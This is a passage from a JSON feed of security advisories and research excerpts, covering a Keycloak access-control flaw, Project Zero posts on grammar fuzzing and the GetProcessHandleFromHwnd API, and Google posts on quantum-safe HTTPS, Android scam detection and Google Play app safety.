restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity.\n\nAffected package ranges reported by GitHub:\norg.keycloak:keycloak-services: <= 26.6.0","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-03-23T09:30:30.000Z","updatedAt":"2026-10-22T21:32:00.000Z","regions":["Global"],"vendor":null,"product":"org.keycloak:keycloak-services","stacks":["Java packages (Maven)","org.keycloak:keycloak-services","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-4pgc-gfrr-wcmg","asOf":"2026-10-22T21:32:00.000Z"},"epss":{"probability":0.00263,"percentile":0.17916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4pgc-gfrr-wcmg","url":"https://github.com/advisories/GHSA-4pgc-gfrr-wcmg","type":"primary","publishedAt":"2026-03-23T09:30:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4pgc-gfrr-wcmg, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-4628, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-mutational-grammar-fuzzing-dc2fd54d4999","cveId":null,"aliases":[],"kind":"advisory","title":"On the Effectiveness of Mutational Grammar Fuzzing","summary":"Mutational grammar fuzzing is a fuzzing technique in which the fuzzer uses a predefined grammar that describes the structure of the samples. When a sample gets mutated, the mutations happen in such a way that any resulting samples still adhere to the grammar rules, thus the structure of the samples gets maintained by the mutation process. In case of coverage-guided grammar fuzzing, if the resulting sample (after the mutation) triggers previously unseen code coverage, this sample is saved to the sample corpus and used as a basis for future mutations. This technique has proven capable of finding complex issues and I have used it successfully in the past, including to find issues in XSLT implementations in web browsers and even JIT engine bugs. However, despite the approach being effective, it is not without its flaws which, for a casual fuzzer user, might not be obvious. In this blogpost I will introduce what I perceive to be the flaws of the mutational coverage-guided grammar fuzzing approach. I will also describe a very simple but effective technique I use in my fuzzing runs to counter these flaws.","detail":"Mutational grammar fuzzing is a fuzzing technique in which the fuzzer uses a predefined grammar that describes the structure of the samples. When a sample gets mutated, the mutations happen in such a way that any resulting samples still adhere to the grammar rules, thus the structure of the samples gets maintained by the mutation process. In case of coverage-guided grammar fuzzing, if the resulting sample (after the mutation) triggers previously unseen code coverage, this sample is saved to the sample corpus and used as a basis for future mutations. This technique has proven capable of finding complex issues and I have used it successfully in the past, including to find issues in XSLT implementations in web browsers and even JIT engine bugs. However, despite the approach being effective, it is not without its flaws which, for a casual fuzzer user, might not be obvious. In this blogpost I will introduce what I perceive to be the flaws of the mutational coverage-guided grammar fuzzing approach. I will also describe a very simple but effective technique I use in my fuzzing runs to counter these flaws.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-03-05T08:00:00.000Z","updatedAt":"2026-03-05T08:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: On the Effectiveness of Mutational Grammar Fuzzing","url":"https://projectzero.google/2026/03/mutational-grammar-fuzzing.html","type":"primary","publishedAt":"2026-03-05T08:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-cultivating-robust-and-efficient-1cd304d813bc","cveId":null,"aliases":[],"kind":"advisory","title":"Cultivating a robust and efficient quantum-safe HTTPS","summary":"Posted by Chrome Secure Web and Networking Team \n\nToday we're announcing a new program in Chrome to make HTTPS certificates secure against quantum computers. The Internet Engineering Task Force (IETF) recently created a working group, PKI, Logs, And Tree Signatures (“PLANTS”), aiming to address the performance and bandwidth challenges that the increased size of quantum-resistant cryptography introduces into TLS connections requiring Certificate Transparency (CT). We recently shared our call to action to secure quantum computing and have written about challenges introduced by quantum-resistant cryptography and some of the steps we’ve taken to address them in earlier blog posts .\n\nTo ensure the scalability and efficiency of the ecosystem, Chrome has no immediate plan to add traditional X.509 certificates containing post-quantum cryptography to the Chrome Root Store . Instead, Chrome, in collaboration with other partners, is developing an evolution of HTTPS certificates based on Merkle Tree Certificates (MTCs), currently in development in the PLANTS working group. MTCs replace the heavy, serialized chain of signatures found in traditional PKI with compact Merkle Tree proofs . In this model, a Certification Authority (CA) signs a single \"Tree Head\" representing potentially millions of certificates, and the \"certificate\" sent to the browser is merely a lightweight proof of inclusion in that tree.\n\n Why MTCs?\n\nMTCs enable the adoption of robust post-quantum algorithms without incurring the massive bandwidth penalty of classical X.509 certificate chains. They also decouple the security strength of the corresponding cryptographic algorithm from the size of the data transmitted to the user. By shrinking the authentication data in a TLS handshake to the absolute minimum, MTCs aim to keep the post-quantum web as fast and seamless as today’s internet, maintaining high performance even as we adopt stronger security. Finally, with MTCs, transparency is a fundamental property of i","detail":"Posted by Chrome Secure Web and Networking Team \n\nToday we're announcing a new program in Chrome to make HTTPS certificates secure against quantum computers. The Internet Engineering Task Force (IETF) recently created a working group, PKI, Logs, And Tree Signatures (“PLANTS”), aiming to address the performance and bandwidth challenges that the increased size of quantum-resistant cryptography introduces into TLS connections requiring Certificate Transparency (CT). We recently shared our call to action to secure quantum computing and have written about challenges introduced by quantum-resistant cryptography and some of the steps we’ve taken to address them in earlier blog posts .\n\nTo ensure the scalability and efficiency of the ecosystem, Chrome has no immediate plan to add traditional X.509 certificates containing post-quantum cryptography to the Chrome Root Store . Instead, Chrome, in collaboration with other partners, is developing an evolution of HTTPS certificates based on Merkle Tree Certificates (MTCs), currently in development in the PLANTS working group. MTCs replace the heavy, serialized chain of signatures found in traditional PKI with compact Merkle Tree proofs . In this model, a Certification Authority (CA) signs a single \"Tree Head\" representing potentially millions of certificates, and the \"certificate\" sent to the browser is merely a lightweight proof of inclusion in that tree.\n\n Why MTCs?\n\nMTCs enable the adoption of robust post-quantum algorithms without incurring the massive bandwidth penalty of classical X.509 certificate chains. They also decouple the security strength of the corresponding cryptographic algorithm from the size of the data transmitted to the user. By shrinking the authentication data in a TLS handshake to the absolute minimum, MTCs aim to keep the post-quantum web as fast and seamless as today’s internet, maintaining high performance even as we adopt stronger security. Finally, with MTCs, transparency is a fundamental property of issuance: it is impossible to issue a certificate without including it in a public tree. This means the security properties of today’s CT ecosystem are included by default, and without adding extra overhead to the TLS handshake as CT does today.\n\n Chrome’s MTC Propagation Plan\n\nChrome is already experimenting with MTCs with real internet traffic, and we intend to gradually build out our deployment such that MTCs provide a robust quantum-resistant HTTPS available for use throughout the internet.\n\nBroadly speaking, our rollout spans three distinct phases.\n\n Phase 1 (UNDERWAY): In collaboration with Cloudflare, we are conducting a feasibility study to evaluate the performance and security of TLS connections relying on MTCs. To ensure a seamless and secure experience for Chrome users who might encounter an MTC, every MTC-based connection is backed by a traditional, trusted X.509 certificate during this experiment. This \"fail safe\" allows us to measure real-world performance gains and verify the reliability of MTC issuance without risking the security or stability of the user's connection.\n\n Phase 2 (Q1 2027): Once the core technology is validated, we intend to invite CT Log operators with at least one “ usable ” log in Chrome before February 1, 2026 to participate in the initial bootstrapping of public MTCs. These organizations have already demonstrated the operational excellence and high-availability infrastructure required to run global security services that underpin TLS connections in Chrome. Since MTC technology shares significant architectural similarities with CT, these operators are uniquely qualified to ensure MTCs are able to get off the ground quickly and successfully.\n\n Phase 3 (Q3 2027): Early in Phase 2, we will finalize the requirements for onboarding additional CAs into the new Chrome Quantum-resistant Root Store (CQRS) and corresponding Root Program that only supports MTCs. This will establish a modern, purpose-built trust store specifically designed for the requirements of a post-quantum web. The Chrome Quantum-resistant Root Program will operate alongside our existing Chrome Root Program to ensure a risk-managed transition that maintains the highest levels of security for all users. This phase will also introduce the ability for sites to opt in to downgrade protections, ensuring that sites that only wish to use quantum-resistant certificates can do so.\n\nThis area is evolving rapidly. As these phases progress, we will continue our active participation in standards bodies such as the IETF and C2SP , ensuring that insights gathered from our efforts flow back towards standards, and that changes in standards are supported by Chrome and the CQRS.\n\n Cultivating new practices and policy for a more secure and reliable web\n\nWe view the adoption of MTCs and a quantum-resistant root store as a critical opportunity to ensure the robustness of the foundation of today’s ecosystem. By designing for the specific demands of a modern, agile, internet, we can accelerate the adoption of post-quantum resilience for all web users. \n\nWe expect this modern foundation for TLS to evolve beyond current ecosystem norms and emphasize themes of security, simplicity, predictability, transparency and resilience. These properties might be expressed by: \n\n Grounding our approach in first principles, prioritizing only elements essential for establishing a secure connection between a server and a client.\n\n Utilizing ACME -only workflows to reduce complexity and ensure the cryptographic agility required to respond to future threats across the entire ecosystem.\n\n Upgrading to a modern framework for communicating revocation status. This allows for the replacement of legacy CRLs and streamlined requirements to focus only on key compromise events. \n\n Exploring “reproducible” Domain Control Validation to create a model where proofs of domain control are publicly and persistently available, empowering any party to independently verify the legitimacy of a validation (i.e., serve as a “DCV Monitor”).\n\n Enhancing the CA inclusion model to prioritize proven operational excellence. By establishing a pathway where prospective MTC CA Owners can first demonstrate their reliability as Mirroring Cosigners and DCV Monitors, we ensure that acceptance is based on verified performance and a reliable track record. \n\n Evolving the third-party oversight model to prioritize complete, continuous, and externally verifiable monitoring. This shift would focus on ensuring a high standard of transparency and consistency, providing immediate and reliable insights into performance that can replace the function of annual third-party audits.\n\nTo secure the future of the web, we are dedicating our operational resources to two vital parallel tracks. First, we remain fully committed to supporting our current CA partners in the Chrome Root Store, facilitating root rotations to ensure existing non-quantum-resistant hierarchies remain robust and conformant with the Chrome Root Program Policy. Simultaneously, we are focused on building a secure future by developing and launching the infrastructure required to support MTCs and their default use in Chrome. We also expect to support “traditional” X.509 certificates with quantum-resistant algorithms for use only in private PKIs (i.e., those not included in the Chrome Root Store) later this year.\n\nAs we execute and refine our work on MTCs, we look forward to sharing a concrete policy framework for a quantum-resistant root store with the community, and are excited to learn and define clear pathways for organizations to operate as Chrome-trusted MTC CAs.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-02-27T17:01:00.000Z","updatedAt":"2026-02-27T17:01:27.473Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Cultivating a robust and efficient quantum-safe HTTPS","url":"https://security.googleblog.com/2026/02/cultivating-robust-and-efficient.html","type":"primary","publishedAt":"2026-02-27T17:01:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-gphfh-deep-dive-70e01b76e84c","cveId":null,"aliases":[],"kind":"advisory","title":"A Deep Dive into the GetProcessHandleFromHwnd API","summary":"In my previous blog post I mentioned the GetProcessHandleFromHwnd API. This was an API I didn’t know existed until I found a publicly disclosed UAC bypass using the Quick Assist UI Access application. This API looked interesting so I thought I should take a closer look. I typically start by reading the documentation for an API I don’t know about, assuming it’s documented at all. It can give you an idea of how long the API has existed as well as its security properties. The documentation’s remarks contain the following three statements that I thought were interesting: If the caller has UIAccess, however, they can use a windows hook to inject code into the target process, and from within the target process, send a handle back to the caller. GetProcessHandleFromHwnd is a convenience function that uses this technique to obtain the handle of the process that owns the specified HWND. Note that it only succeeds in cases where the caller and target process are running as the same user.","detail":"In my previous blog post I mentioned the GetProcessHandleFromHwnd API. This was an API I didn’t know existed until I found a publicly disclosed UAC bypass using the Quick Assist UI Access application. This API looked interesting so I thought I should take a closer look. I typically start by reading the documentation for an API I don’t know about, assuming it’s documented at all. It can give you an idea of how long the API has existed as well as its security properties. The documentation’s remarks contain the following three statements that I thought were interesting: If the caller has UIAccess, however, they can use a windows hook to inject code into the target process, and from within the target process, send a handle back to the caller. GetProcessHandleFromHwnd is a convenience function that uses this technique to obtain the handle of the process that owns the specified HWND. Note that it only succeeds in cases where the caller and target process are running as the same user.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-02-26T08:00:00.000Z","updatedAt":"2026-02-26T08:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: A Deep Dive into the GetProcessHandleFromHwnd API","url":"https://projectzero.google/2026/02/gphfh-deep-dive.html","type":"primary","publishedAt":"2026-02-26T08:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-strengthening-android-lead-in-scam-protection-7935c3e4fc8e","cveId":null,"aliases":[],"kind":"advisory","title":"Staying One Step Ahead: Strengthening Android’s Lead in Scam Protection","summary":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse \n\nWe’ve shared how Android’s proactive, multi-layered scam defenses utilize Google AI to protect users around the world from over 10 billion suspected malicious calls and messages every month 1 . While that scale is significant, the true impact of these protections is best understood through the stories of the individuals they help keep safe every day. This includes people like Majik B., an IT professional in Sunnyvale, California.\n\nDespite his technical background, Majik recently found himself on a call that felt dangerously legitimate. While using his Pixel, he received a call that appeared to be from his bank. The number looked correct, the caller knew his name and his address, and the story about a \"suspicious charge\" made perfect sense. \"I’m usually pretty careful about this stuff,\" Majik recalled, \"but I stayed on the line longer than I normally would. Even knowing how these scams work, it was convincing in the moment.\"\n\nThe turning point came when his phone displayed a Scam Detection warning during the call, which provided a critical moment to pause and reflect. Majik hung up, checked his bank app directly, and confirmed there was no fraudulent charge. For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.\n\nWhile stories like Majik’s show how our existing protections provide a robust shield against scams, our work isn't done. As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead. \n\nA recent evaluation by Counterpoint Research found that Android smartphones provide the most comprehensive AI-powered protections of any mobile platform. We are committed to building on this foundation by expanding our AI-powered protections to more users and devices, while rolling out ne","detail":"Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse \n\nWe’ve shared how Android’s proactive, multi-layered scam defenses utilize Google AI to protect users around the world from over 10 billion suspected malicious calls and messages every month 1 . While that scale is significant, the true impact of these protections is best understood through the stories of the individuals they help keep safe every day. This includes people like Majik B., an IT professional in Sunnyvale, California.\n\nDespite his technical background, Majik recently found himself on a call that felt dangerously legitimate. While using his Pixel, he received a call that appeared to be from his bank. The number looked correct, the caller knew his name and his address, and the story about a \"suspicious charge\" made perfect sense. \"I’m usually pretty careful about this stuff,\" Majik recalled, \"but I stayed on the line longer than I normally would. Even knowing how these scams work, it was convincing in the moment.\"\n\nThe turning point came when his phone displayed a Scam Detection warning during the call, which provided a critical moment to pause and reflect. Majik hung up, checked his bank app directly, and confirmed there was no fraudulent charge. For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.\n\nWhile stories like Majik’s show how our existing protections provide a robust shield against scams, our work isn't done. As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead. \n\nA recent evaluation by Counterpoint Research found that Android smartphones provide the most comprehensive AI-powered protections of any mobile platform. We are committed to building on this foundation by expanding our AI-powered protections to more users and devices, while rolling out new features that utilize on-device AI to defend against increasingly sophisticated threats.\n\n Expanding Scam Detection for Calls to Samsung Devices\n\nTo help protect you during phone calls, Scam Detection alerts you if a caller uses speech patterns commonly associated with fraud. We are bringing these protections to more of our users through new regional expansion and availability on new devices. Scam Detection for phone calls on Google Pixel devices is available in the US, UK, Australia, Canada, France, Germany, India, Ireland, Italy, Japan, Mexico, and Spain. \n\nScam Detection is already helping millions of users to stay safe from scammers, and we are expanding this feature to more manufacturers, starting with the Samsung Galaxy S26 series in the U.S. We are continuing to work with our partners to bring these industry-leading protections to even more users. \n\nPowered by Gemini’s on-device model, Scam Detection provides intelligent protection against scam calls while ensuring that the processing stays on your device. This keeps your conversations private while delivering warnings in real-time. To preserve your privacy, the phone conversation processed by Scam Detection is neither stored on your device, nor shared outside of the device. To ensure you stay in total control of your experience, Scam Detection is turned off by default. When enabled, the feature only applies to calls identified as potential scams and is never used in calls with your contacts. You can easily manage these preferences in your phone settings whenever you choose. \n\n Enhanced Protection Against Messaging Scams\n\nWe want everyone to feel secure when they open their messages, no matter where they are or what language they speak. To make this possible, we’ve now expanded Scam Detection for Google Messages to more than 20 countries. This includes support for several languages including English, Arabic, French, German, Portuguese, and Spanish.\n\nBeyond reaching more people, we are also making our protections more intelligent. We are enhancing how Google Messages identifies fraudulent texts by utilizing our Gemini on-device model on the latest Android flagship devices in the US, Canada, and the UK. The added power of Gemini’s on-device model allows for a much more nuanced analysis of complex conversational threats. \n\nFor example, it can better detect the subtle conversational patterns used in job offer scams or sophisticated romance baiting scams (also known as “pig butchering”), a deceptive tactic where a scammer builds a long-term \"relationship\" with a potential victim to gain their trust, before tricking them into a fraudulent investment. Because these methods rely on gradual manipulation and don’t present typical warning signs, they need more advanced capabilities to catch them at scale. These advanced protections are now rolling out on Google Pixel 10 series and other select devices, and will be available on the Samsung Galaxy S26 series. \n\n Gemini - powered Scam Detection alerts a user to a job offer scam \n\n Using the Best of Google AI to Set the Standard in Mobile Scam Protection\n\nAndroid continues to set the standard in mobile scam protections by leveraging advanced AI to identify and intercept threats as they happen. As scammer’s strategies shift, we remain committed to developing equally adaptive and intelligent defenses. Our goal is to provide you with peace of mind so you can continue to connect and communicate with confidence, knowing our multi-layered defenses are there to help protect your financial and personal data against mobile scams.\n\nDisclaimers\n\n1: This total comprises all instances where a message or call was proactively blocked or where a user was alerted to potential spam or scam activity.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-02-25T15:17:00.000Z","updatedAt":"2026-03-18T18:53:00.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Staying One Step Ahead: Strengthening Android’s Lead in Scam Protection","url":"https://security.googleblog.com/2026/02/strengthening-android-lead-in-scam-protection.html","type":"primary","publishedAt":"2026-02-25T15:17:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-keeping-google-play-android-app-ecosystem-safe-2025-97a06bbff97c","cveId":null,"aliases":[],"kind":"advisory","title":"Keeping Google Play & Android app ecosystems safe in 2025","summary":"Posted by Vijaya Kaza, VP and GM, App & Ecosystem Trust \n\nThe Android ecosystem is a thriving global community built on trust, giving billions of users the confidence to download the latest apps. In order to maintain that trust, we’re focused on ensuring that apps do not cause real-world harm, such as malware, financial fraud, hidden subscriptions, and privacy invasions. As bad actors leverage AI to change their tactics and launch increasingly sophisticated attacks, we’ve deepened our investments in AI and real-time defenses over the last year to maintain the upper hand and stop these threats before they reach users.\n\n Upgrading Google Play’s AI-powered, multi-layered user protections\n\nWe’ve seen a clear impact from these safety efforts on Google Play. In 2025, we prevented over 1.75 million policy-violating apps from being published on Google Play and banned more than 80,000 bad developer accounts that attempted to publish harmful apps. These figures demonstrate how our proactive protections and push for a more accountable ecosystem are discouraging bad actors from publishing malicious apps, while our new tools help honest developers build compliant apps more easily. Initiatives like developer verification, mandatory pre-review checks, and testing requirements have raised the bar for the Google Play ecosystem, significantly reducing the paths for bad actors to enter.\n\nUser safety is at the core of everything we build. Over the years, we’ve continually introduced ways to help users stay safe and make informed app choices — from parental controls to data safety transparency and app badges . We’re constantly improving our policies and protections to encourage safe, high-quality apps on Google Play and stop bad actors before they cause harm.\n\nApps on Google Play undergo rigorous reviews for safety and compliance with our policies. Last year, we shared that Google Play runs over 10,000 safety checks on every app we publish, and we continue to check and recheck apps afte","detail":"Posted by Vijaya Kaza, VP and GM, App & Ecosystem Trust \n\nThe Android ecosystem is a thriving global community built on trust, giving billions of users the confidence to download the latest apps. In order to maintain that trust, we’re focused on ensuring that apps do not cause real-world harm, such as malware, financial fraud, hidden subscriptions, and privacy invasions. As bad actors leverage AI to change their tactics and launch increasingly sophisticated attacks, we’ve deepened our investments in AI and real-time defenses over the last year to maintain the upper hand and stop these threats before they reach users.\n\n Upgrading Google Play’s AI-powered, multi-layered user protections\n\nWe’ve seen a clear impact from these safety efforts on Google Play. In 2025, we prevented over 1.75 million policy-violating apps from being published on Google Play and banned more than 80,000 bad developer accounts that attempted to publish harmful apps. These figures demonstrate how our proactive protections and push for a more accountable ecosystem are discouraging bad actors from publishing malicious apps, while our new tools help honest developers build compliant apps more easily. Initiatives like developer verification, mandatory pre-review checks, and testing requirements have raised the bar for the Google Play ecosystem, significantly reducing the paths for bad actors to enter.\n\nUser safety is at the core of everything we build. Over the years, we’ve continually introduced ways to help users stay safe and make informed app choices — from parental controls to data safety transparency and app badges . We’re constantly improving our policies and protections to encourage safe, high-quality apps on Google Play and stop bad actors before they cause harm.\n\nApps on Google Play undergo rigorous reviews for safety and compliance with our policies. Last year, we shared that Google Play runs over 10,000 safety checks on every app we publish, and we continue to check and recheck apps after they’ve been published. In 2025, we continued scaling our defenses even further by:\n\n Boosting AI-enhanced app detection : We integrated Google’s latest generative AI models into our review process, helping our human review team continue to find complex malicious patterns faster.\n\n Preventing unnecessary access to sensitive data: We prevented over 255,000 apps from getting excessive access to sensitive user data and continued to strengthen our privacy policies. Our commitment to privacy-forward app development, supported by tools like Play Policy Insights in Android Studio and Data safety section , has empowered developers to continue to: minimize privacy-sensitive permission requests, and prioritize the user in their design choices.\n\n Blocking spam ratings and reviews: Whether they lead to review inflation or deflation, spam ratings and reviews can negatively impact our users’ trust and our developers’ growth. We’re continually evolving our detection models to help ensure app reviews are accurate. Our anti-spam protections blocked 160 million spam ratings and reviews last year, including inflated and deflated reviews. We also prevented an average 0.5-star rating drop for apps targeted by review bombing, protecting our users and developers from unhelpful reviews.\n\n Safeguarding kids and families : Our approach to kids and families is built on the core belief that children deserve a safe, enriching digital environment. Our commitment is to empower parents with robust tools while providing children with access to high-quality, age-appropriate content. Last year, we announced new layers of protection , in addition to our existing safeguards , to prevent younger audiences from discovering or downloading apps involving activities like gambling or dating. \n\n Enhancing Google Play Protect to help keep the entire Android ecosystem safe\n\nWe also continued to improve our protections for the broader Android ecosystem, by expanding Google Play Protect and real-time security measures like in-call scam protections to help keep users safe from scams, fraud, and other threats.\n\nAs Android’s built-in defense against malware and unwanted software, Google Play Protect now scans over 350 billion Android apps daily. This proactive protection constantly checks both Play apps and those from other sources to ensure they are not potentially harmful. And, last year, its real-time scanning capability identified more than 27 million new malicious apps from outside Google Play, warning users or blocking the app to neutralize the threat. To benefit from these protections, we recommend that users always keep Google Play Protect on. \n\nWhile fraudsters are constantly evolving their tactics, Google Play Protect is evolving faster. Last year, we expanded:\n\n Enhanced fraud protection: Google Play Protect’s enhanced fraud protection analyzes and automatically blocks the installation of apps that may abuse sensitive permissions to commit financial fraud. This protection is triggered when a user attempts to install an app from an \"Internet-sideloading source\" — such as a web browser or messaging app — that requests a sensitive permission. Building on the success of our initial pilot in Singapore, we expanded enhanced fraud protection to 185 markets , now covering more than 2.8 